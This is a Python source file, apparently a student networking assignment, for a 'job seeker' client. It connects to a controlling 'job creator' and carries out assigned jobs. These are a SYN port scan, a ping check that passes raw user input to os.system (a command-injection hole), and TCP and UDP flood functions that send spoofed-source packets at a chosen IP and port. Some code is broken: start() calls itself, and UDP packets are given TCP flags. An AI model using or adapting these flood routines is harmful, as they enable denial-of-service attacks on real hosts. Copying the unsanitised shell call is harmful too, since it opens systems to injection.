/
job_seeker.py
204 lines (177 loc) · 7.45 KB
/
job_seeker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
import logging
from socket import *
from scapy.layers.inet import IP, TCP, sr1, sr, UDP
from scapy.volatile import RandShort
from scapy.all import send
import json, sys, random, os
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
class seeker:
creatorName = '127.0.0.1'
# Connected to the job creator
def start(self, port):
self.creatorPort = int(port)
self.start()
try:
self.seekerSocket = socket(AF_INET, SOCK_STREAM)
self.seekerSocket.connect((self.creatorName,self.creatorPort))
print('Connected to creator ' + str(self.creatorName) + ' at port ' + str(self.creatorPort) + '\n')
# Send services
self.seekerSocket.send(self.encode(messageType=1, services=input('Enter services: ')))
print('Services message sent to job-creator\n')
# Recieve job
self.decode(self.seekerSocket.recv(1024).decode())
print('Job message received from job-creator\n')
# Send accept
accept = input('Enter 1 for accept, 0 for reject: ')
self.seekerSocket.send(self.encode(messageType=2, accept=accept))
print('Accept message sent to job-creator\n')
if accept == '1':
self.status = self.job_switch(self.job_code)
elif accept == '0':
self.seekerSocket.close()
sys.exit()
else:
print('incorrect input')
self.seekerSocket.close()
# Recieve acknowledge
self.decode(self.seekerSocket.recv(1024).decode())
print('Acknowledge message received from job-creator\n')
# Send completed
if self.status:
self.result = 'Completed'
else:
self.result = 'Failed'
self.seekerSocket.send(self.encode(messageType=3, job=self.job_code, status=self.status, result=self.result))
print('Completed message sent to job-creator')
except:
print('***Connection to creator failed***')
# Encode the message format
# messageType -The type of message being sent
# services -The seekers services available
# accept -Boolean for accepting or declining a job
# job -The job
# status -The status of the job
# result -The result of the job
# Returns the message as bytes
def encode(self, messageType, services='', accept=True, job='', status='', result=''):
message = {} #!Temp dictionary
# Switch case for different message types
if messageType == 1:
# Services message
message = {'header':messageType,
'services':services}
elif messageType == 2:
# Accept message
message = {'header':messageType,
'Accept':accept}
else:
# Completion message
message = {'header':messageType,
'job':job,
'status':status,
'result':result}
messageEncoded = json.dumps(message).encode()
return messageEncoded
# Decode the message from the creator
# message -The message from the creator
def decode(self, message):
messageDecoded = json.loads(message)
for key in messageDecoded:
if key == 'job':
self.job_code = messageDecoded.get(key)
print(key + ' : ' + str(messageDecoded.get(key)))
# Assignment 3, job switch
def job_switch(self, job_code):
if job_code == '1':
print('Job: Scan Port')
status = self.scanPort()
elif job_code == '2':
print('Job: Check Host')
status = self.checkHost(input('Enter host: '))
elif job_code == '3':
print('Job: TCP Flood')
status = self.SYN_TCP_Flood(input('Enter destination IP: '),input('Enter destination port: '),input('Enter counter: '))
elif job_code == '4':
print('Job: UDP Flood')
status = self.SYN_UDP_Flood(input('Enter destination IP: '),input('Enter destination port: '),input('Enter counter: '))
else:
print('invalid input: ' + str(job_code))
return status
# Assignment 3, Part 2, one-to-one part 2
def scanPort(self, dst_ip='127.0.0.1', src_port=RandShort(), port = 26):
try:
print()
tcp_connect_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=port,flags='S'),timeout=10)
if str(type(tcp_connect_scan_resp)) == "<type 'NoneType'>":
print("Filtered")
elif(tcp_connect_scan_resp.haslayer(TCP)):
if(tcp_connect_scan_resp.getlayer(TCP).flags == 0x12):
send_rst = sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=port,flags='AR'),timeout=10)
print(port, 'Open')
elif(tcp_connect_scan_resp.getlayer(TCP).flags == 0x14):
print('Closed')
print()
return 1
except:
return 0
# Assignment 3, Part 2, one-to-one part 1
def checkHost(self, host):
HOST_UP = True if os.system("ping " + host) == 0 else False
if HOST_UP:
return 1
else:
return 0
# Assignment 3, Part 2, one-to-many part 2
def SYN_TCP_Flood(self, dstIP, dstPort, counter):
try:
total = 0
print("Packets are sending ...")
for x in range(0,int(counter)):
s_port = random.randint(1000,9000)
s_eq = random.randint(1000,9000)
w_indow = random.randint(1000,9000)
IP_Packet = IP ()
IP_Packet.src = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
IP_Packet.dst = dstIP
# Created our own TCP packet
TCP_Packet = TCP()
TCP_Packet.sport = s_port
TCP_Packet.dport = int(dstPort)
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
print("\nTotal packets sent: %i\n" % total)
print()
return 1
except:
return 0
# Assignment 3, Part 2, one-to-many part 3
def SYN_UDP_Flood(self, dstIP, dstPort, counter):
try:
total = 0
print("Packets are sending ...")
for x in range (0, int(counter)):
s_port = random.randint(1000,9000)
s_eq = random.randint(1000,9000)
w_indow = random.randint(1000,9000)
IP_Packet = IP ()
IP_Packet.src = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
IP_Packet.dst = dstIP
# Created our own TCP packet
UDP_Packet = UDP()
UDP_Packet.sport = s_port
UDP_Packet.dport = int(dstPort)
UDP_Packet.flags = "S"
UDP_Packet.seq = s_eq
UDP_Packet.window = w_indow
send(IP_Packet/UDP_Packet, verbose=0)
total+=1
print("\nTotal packets sent: %i\n" % total)
print()
return 1
except:
return 0
if __name__ == "__main__":
seeker().start(input('Enter port #: '))